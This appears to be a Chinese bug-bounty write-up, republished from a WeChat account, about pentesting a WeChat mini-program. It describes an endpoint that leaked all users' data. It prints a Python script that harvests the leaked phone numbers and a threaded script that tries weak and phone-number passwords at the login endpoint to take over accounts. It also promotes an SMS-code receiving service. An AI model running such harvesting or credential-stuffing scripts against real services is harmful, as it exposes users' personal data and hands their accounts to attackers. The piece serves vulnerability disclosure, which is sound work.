1 概述
在某天,一个风和日丽下午,闲来无事,就想着看看漏洞盒子上的专属漏洞某个项目的资产挖掘一下,打算收集信息等等,结果看了没有什么思路,就看到一个同名但是属于资产里面的小程序,于是就开始测试之路。
2 正文
由于涉及敏感数据太多,下面涉及的相关图片我就只能厚码打上,感谢各位看官的支持与理解!!!
话不多说,正文开始:
直接打开小程序登录,当然就按照我在测试前写有小程序渗透测试项.md文件按照测试下来,结果发现2处存在风险。
在进入个人信息功能点里面后,我改信息保存后,就发现会加载一个接allNoPage口,然后我点击一看,好家伙,这个平台全部用户都是在显示这里,开始我还有点不信,但是我有专门去搞一个对比这个账户来验证是否还会复现成功。
我在其他账户验证的时候,还真就没有验证成功这个越权漏洞,其他账户这个接口竟然显示正常,然后我就在思考,不可能肯定有问问题???
我就一步步排除,排查,验证,果然发现了这个接口触发条件要满足:
新用户,进入后没有改过个人信息,以及没有创建过企业,不然allNoPage接口(这个接口每个账户都是有的而且都是会在更改个人信息后都会加载一次这个接口)就只会返回自己账户的信息;既然知道,那再次复现就很简单了。ps:(这里插入一个推荐的接收短信验证码平台():http://h5.yezi66.net:90/invite/1191694,欢迎各位看官使用感谢!!!)
既然都拿到了,整个平台的账户数据信息,唯一可惜的就是没有密码,其余账户信息都有,就写一个python脚本把返回json数据提取出来:
import json
# 读取JSON文件 - 更新为正确的路径
with open(r'd:desktopdd1.json', 'r', encoding='utf-8') as f:
data = json.load(f)
# 提取所有mobile号码并去重
mobiles = [item.get('mobile') for item in data.get('data', []) if item.get('mobile')]
unique_mobiles = list(set(mobiles)) # 通过set去重
# 写入到文本文件 - 更新为正确的路径
with open(r'd:desktopddphone1.txt', 'w', encoding='utf-8') as f:
f.write('n'.join(unique_mobiles))
print(f'成功提取 {len(mobiles)} 个手机号码,去重后剩余 {len(unique_mobiles)} 个')
因为在测试登录时候我就发现登录接口,没有二次验证登录,导致可以进行暴力破解,思路就是利用提取号码去批量请求找出账户和密码都是使用手机号来登录用户,以及弱口令用户,自然就可以接管账户权限了。
不测试还不知道这多用户都是使用弱口令以及账户名和密码一样的字符来进行登录。
为了测试完整,就写了python 来找出到底存在多少用户,使用弱口令以及使用手机号来作为密码登录用户。
import requests
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
# 禁用SSL警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 读取手机号列表
with open('d:\desktop\xxx\phone1.txt', 'r', encoding='utf-8-sig') as f:
valid_phones = [line.strip() for line in f if line.strip()]
# 请求头配置
headers = {
"Host": "xx.xxx.com",
"Xweb_xhr": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf2540512) XWEB/13871",
"Content-Type": "application/x-www-form-urlencoded",
}
# 创建会话对象复用连接
session = requests.Session()
session.verify = False # 禁用SSL验证
session.headers.update(headers)
# 登录函数
def login(phone):
try:
data = {
"username": phone,
"password": "123456", #可以根据自己字典来改参数
"appid": "wx118ba89586e5bf68"
}
response = session.post(
"https://xx.xxxx.com/login",
data=data,
timeout=10 # 设置超时
)
if response.status_code == 200:
result = response.json()
if result.get("state") and result.get("code") == 1:
# 实时写入成功结果
with open('d:\desktop\xxx\su.txt', 'a', encoding='utf-8') as f:
f.write(f"{phone}n")
return phone
except Exception as e:
print(f"手机号 {phone} 请求异常: {str(e)}")
return None
# 主函数
def main():
success_count = 0
total = len(valid_phones)
print(f"开始批量登录,共 {total} 个号码")
try:
# 使用线程池加速
with ThreadPoolExecutor(max_workers=20) as executor:
futures = {executor.submit(login, phone): phone for phone in valid_phones}
for future in as_completed(futures):
phone = futures[future]
result = future.result()
if result:
success_count += 1
print(f"进度: {success_count}/{total} | 成功: {result}")
except KeyboardInterrupt:
print("n用户中断操作,已保存当前进度")
finally:
print(f"n完成! 共找到 {success_count} 个成功登录用户")
if __name__ == "__main__":
main()
3 总结
1、这个接口发现源于细心,以及对平台业务逻辑掌握与与理解,因为在第一次提交时候,厂商是没有复现成功的,后来我多次沟通以及录制视频讲解,总算问题解决了。
2、在测试任何接口以及任何功能点时候,都要去注意每一个数据包的产生与响应,以及登录平台对账户要求以及对漏洞触发原理掌握都要了解到位,不然就第一次发现了,后面复现不起也白搞。
3、针对不同平台要要测试前写清楚自己测试的项,避免忽略某个漏洞测试,可以关注公众号,后台恢复:“小程序渗透测试项”,即可获取我个人整体书写的md文件,当然也欢迎各个看官补充。
4 祝福
祝福各位看官,提交漏洞,洞洞高危,工作顺利,开开心心!!!
原文始发于微信公众号(开心网安):记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论